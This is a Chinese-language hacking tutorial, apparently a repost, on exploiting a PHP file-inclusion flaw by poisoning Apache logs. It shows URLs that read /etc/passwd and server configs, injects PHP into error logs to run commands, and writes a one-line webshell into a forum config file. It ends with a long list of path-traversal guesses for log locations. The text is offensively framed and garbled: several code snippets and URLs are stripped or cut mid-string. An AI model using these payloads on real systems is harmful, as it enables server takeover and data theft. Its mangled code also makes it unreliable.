linux安全日志备份,渗透必备：linux下备份拿shell网站安全 -电脑资料

关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句，然后再被Apache服务器的日志记录，然后php再去包含执行，从而包含了去执行，

比如说，在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句

include($zizzy); ?>  //包含变量$zizzy

你可以

http://xxx.com/z.php?zizzy=/etc/inetd.conf

http://xxx.com/z.php?zizzy=/proc/cpuinfo

http://xxx.com/z.php?zizzy=/etc/passwd

就可以利用包含语句来查看一些系统环境和密码档文件。

那么关于日志包含下面我们来看：

比如我们的Apache的服务器配置文件位置在这里

/usr/local/apache/conf/httpd.conf

那么我们来包含一下httpd.conf，来看下路径信息什么的

http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf

读出Apache的配置信息，这里列出部分信息。

User #3

Group silver

ServerAdmin webmaster@xxx.com

DocumentRoot /home/virtual/www.xxx.com

ServerName www.xxx.com

ServerAlias xxx.com

ErrorLog /home/virtual/www.xxx.com/logs/www-error_log

CustomLog /home/virtual/www.xxx.com/logs/www-access_log common

ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/

Alias /icons/ /home/virtual/www.xxx.com/icons

而我们提交http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

就可以读出Apache的错误日志记录

[Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not

exist: /home/virtual/www.xxx.com/hack.php

[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not

exist: /home/virtual/www.xxx.com/111111111.php

[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not

exist: /home/virtual/www.xxx.com/22222.php3

[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke

directory as script. /home/virtual/www.xxx.com/forum

[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke

directory as script. /home/virtual/www.xxx.com/blog

[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke

directory as script. /home/virtual/www.xxx.com/kkkkkkkk

而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的，一样可以读出来，只不过文件会很大，那也没意思测试下去了，那怎么利用呢。

比如我们提交要提交这句， //查看php的相关信息

在这里，我们只能提交URL编码模式，因为我在测试中发现，

在这里这句就是转换过了的，我们提交

http://www.xxx.com/

这样肯定会报出错找不到页面，而一出错就被记在错误日志里了

http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样这个日志文件就被包含成了phpinfo的信息，而回显也就成了一个显示php信息的页面。

如果可以的话(能够执行系统命令，也就是safe_mode开着的时候)，

这样子也不错，

//执行命令列出home下的文件列表，记得转换为URL格式哦。

/home/

total 9

-rw-r--r--  1 www.xxx.com  silver      55 Jan 20 23:01 about.php

drwxrwxrwx  4 www.xxx.com  silver    4096 Jan 21 06:07 abc

-rw-r--r--  1 www.xxx.com  silver    1438 Dec 3 07:39 index.php

-rwxrwxrwx  1 www.xxx.com  silver    5709 Jan 21 20:05 show.php

-rw-r--r--  1 www.xxx.com  silver    5936 Jan 18 01:37 admin.php

-rwxrwxrwx  1 www.xxx.com  silver    5183 Jan 18 15:30 config.php3

-rw-rw-rw-  1 www.xxx.com  silver  102229 Jan 21 23:18 info.txt

drwxr-xr-x  2 www.xxx.com  silver    4096 Jan 8 16:03 backup

-rw-r--r--  1 www.xxx.com  silver    7024 Dec 4 03:07 test.php

这样就列出了home下的文件

或者直接一句话木马，

这样转换后就是 这样的格式。

我们提交

http://www.xxx.com/

再用lanker的一句话木马客户端一连就OK了。

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了，渗透必备：linux下备份拿shell网站安全》(https://www.unjs.com)。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，

fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入这个一句话木马服务端语句。连起来表达成php语句就是

$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"");

fclose($fp);?>  //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。

转换为

config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp

%2C%22%22%29%3B

fclose%28%24fp%29%3B%3F>

我们提交

http://xxx.com/

%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp

%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22

cmd%5D%29%3B%3F>%22%29%3Bfclose%28%24fp%29%3B%3F>

这样就错误日志里就记录下了这行写入webshell的代码。

我们再来包含日志，提交

http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句

OK.

http://www.xxx.com/forum/config.php这个就成了我们的webshell

直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。

附：收集的一些日志路径

../../../../../../../../../../var/log/httpd/access_log

../../../../../../../../../../var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../../../../etc/httpd/logs/acces_log

../../../../../../../../../../etc/httpd/logs/acces.log

../../../../../../../../../../etc/httpd/logs/error_log

../../../../../../../../../../etc/httpd/logs/error.log

../../../../../../../../../../var/www/logs/access_log

../../../../../../../../../../var/www/logs/access.log

../../../../../../../../../../usr/local/apache/logs/access_log

../../../../../../../../../../usr/local/apache/logs/access.log

../../../../../../../../../../var/log/apache/access_log

../../../../../../../../../../var/log/apache/access.log

../../../../../../../../../../var/log/access_log

../../../../../../../../../../var/www/logs/error_log

../../../../../../../../../../var/www/logs/error.log

../../../../../../../../../../usr/local/apache/logs/error_log

../../../../../../../../../../usr/local/apache/logs/error.log

../../../../../../../../../../var/log/apache/error_log

../../../../../../../../../../var/log/apache/error.log

../../../../../../../../../../var/log/access_log

../../../../../../../../../../var/log/error_log

/var/log/httpd/access_log

/var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

/etc/httpd/logs/acces_log

/etc/httpd/logs/acces.log

/etc/httpd/logs/error_log

/etc/httpd/logs/error.log

/var/www/logs/access_log

/var/www/logs/access.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/access.log

/var/log/apache/access_log

/var/log/apache/access.log

/var/log/access_log

/var/www/logs/error_log

/var/www/logs/error.log

/usr/local/apache/logs/error_log

/usr/local/apache/logs/error.log

/var/log/apache/error_log

/var/log/apache/error.log

/var/log/access_log

/var/log/error_log